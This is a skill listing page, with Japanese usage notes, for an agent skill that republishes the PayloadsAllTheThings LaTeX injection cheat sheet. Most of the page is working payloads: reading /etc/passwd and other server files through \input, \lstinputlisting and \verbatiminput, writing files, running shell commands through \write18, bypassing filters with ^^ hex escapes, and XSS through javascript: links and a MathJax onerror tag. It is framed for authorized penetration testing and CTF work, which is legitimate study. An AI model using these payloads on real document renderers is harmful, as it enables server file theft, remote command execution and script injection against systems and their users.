使い方
- インストールコマンドをコピーし、自分の環境へ導入する前にソースを確認します。
- 必要なツール、認証情報、対応環境を原文で確認します。
- 入力と成果物を指定し、出力を資料と照合します。
npx skills add https://github.com/smartworldarafath/rea_skill --skill payloads-latex開始前の確認
- 導入にはモデル契約、API枠、ファイルへのアクセス許可は含まれません。
- スター数や導入数は活動の指標であり、独立した品質・安全性試験ではありません。
見出し、例、コード、表、リンク、参照画像を含む原文を表示しています。
LaTeX Injection Payloads
Source: PayloadsAllTheThings/LaTeX Injection Category:payloads-injection| Skill ID:payloads-latex
Overview
LaTeX injection payloads for file read, command execution in PDF/math renderers.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the LaTeX Injection Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
Workflow
1. Recon & Identification
- Identify the target technology stack and injection points
- Enumerate endpoints, parameters, and input vectors
- Determine applicable payload categories from the reference below
2. Payload Selection
- Browse the PATT payload library for the attack class
- Select encoding-appropriate payloads for the target environment
- Consider WAF bypass variants and obfuscation techniques
3. Exploitation (Authorized Only)
- Test payloads in order: passive → active → escalation
- Document every payload tested and its response
- Capture PoC evidence (screenshots, HTTP logs, curl output)
4. Verification & Reporting
- Confirm the vulnerability with a clean minimal PoC
- Map findings to CVE/CWE where applicable
- Report with remediation recommendations and code fixes
Full PATT Reference
LaTeX Injection
LaTeX Injection is a type of injection attack where malicious content is injected into LaTeX documents. LaTeX is widely used for document preparation and typesetting, particularly in academia, for producing high-quality scientific and mathematical documents. Due to its powerful scripting capabilities, LaTeX can be exploited by attackers to execute arbitrary commands if proper safeguards are not in place.
Summary
File Manipulation
Read File
Attackers can read the content of sensitive files on the server.
Read file and interpret the LaTeX code in it:
\input{/etc/passwd}
\include{somefile} # load .tex file (somefile.tex)Read single lined file:
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\fileRead multiple lined file:
\lstinputlisting{/etc/passwd}
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\fileRead text file, without interpreting the content, it will only paste raw file content:
\usepackage{verbatim}
\verbatiminput{/etc/passwd}If injection point is past document header (\usepackage cannot be used), some control characters can be deactivated in order to use \input on file containing $, #, _, &, null bytes, ... (eg. perl scripts).
\catcode `\$=12
\catcode `\#=12
\catcode `\_=12
\catcode `\&=12
\input{path_to_script.pl}To bypass a blacklist try to replace one character with it's unicode hex value.
- ^^41 represents a capital A
- ^^7e represents a tilde (~) note that the ‘e’ must be lower case
\lstin^^70utlisting{/etc/passwd}Write File
Write single lined file:
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\write\outfile{Line 2}
\write\outfile{I like trains}
\closeout\outfileCommand Execution
The output of the command will be redirected to stdout, therefore you need to use a temp file to get it.
\immediate\write18{id > output}
\input{output}If you get any LaTex error, consider using base64 to get the result without bad characters (or use \verbatiminput):
\immediate\write18{env | base64 > test.tex}
\input{text.tex}\input|ls|base64
\input{|"/bin/hostname"}Cross Site Scripting
From @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}In mathjax
\unicode{<img src=1 onerror="<ARBITRARY_JS_CODE>">}Labs
References
- Hacking with LaTeX - Sebastian Neef - March 10, 2016
- Latex to RCE, Private Bug Bounty Program - Yasho - July 6, 2018
- Pwning coworkers thanks to LaTeX - scumjr - November 28, 2016
REA MCP Integration
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.Legal Notice
⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.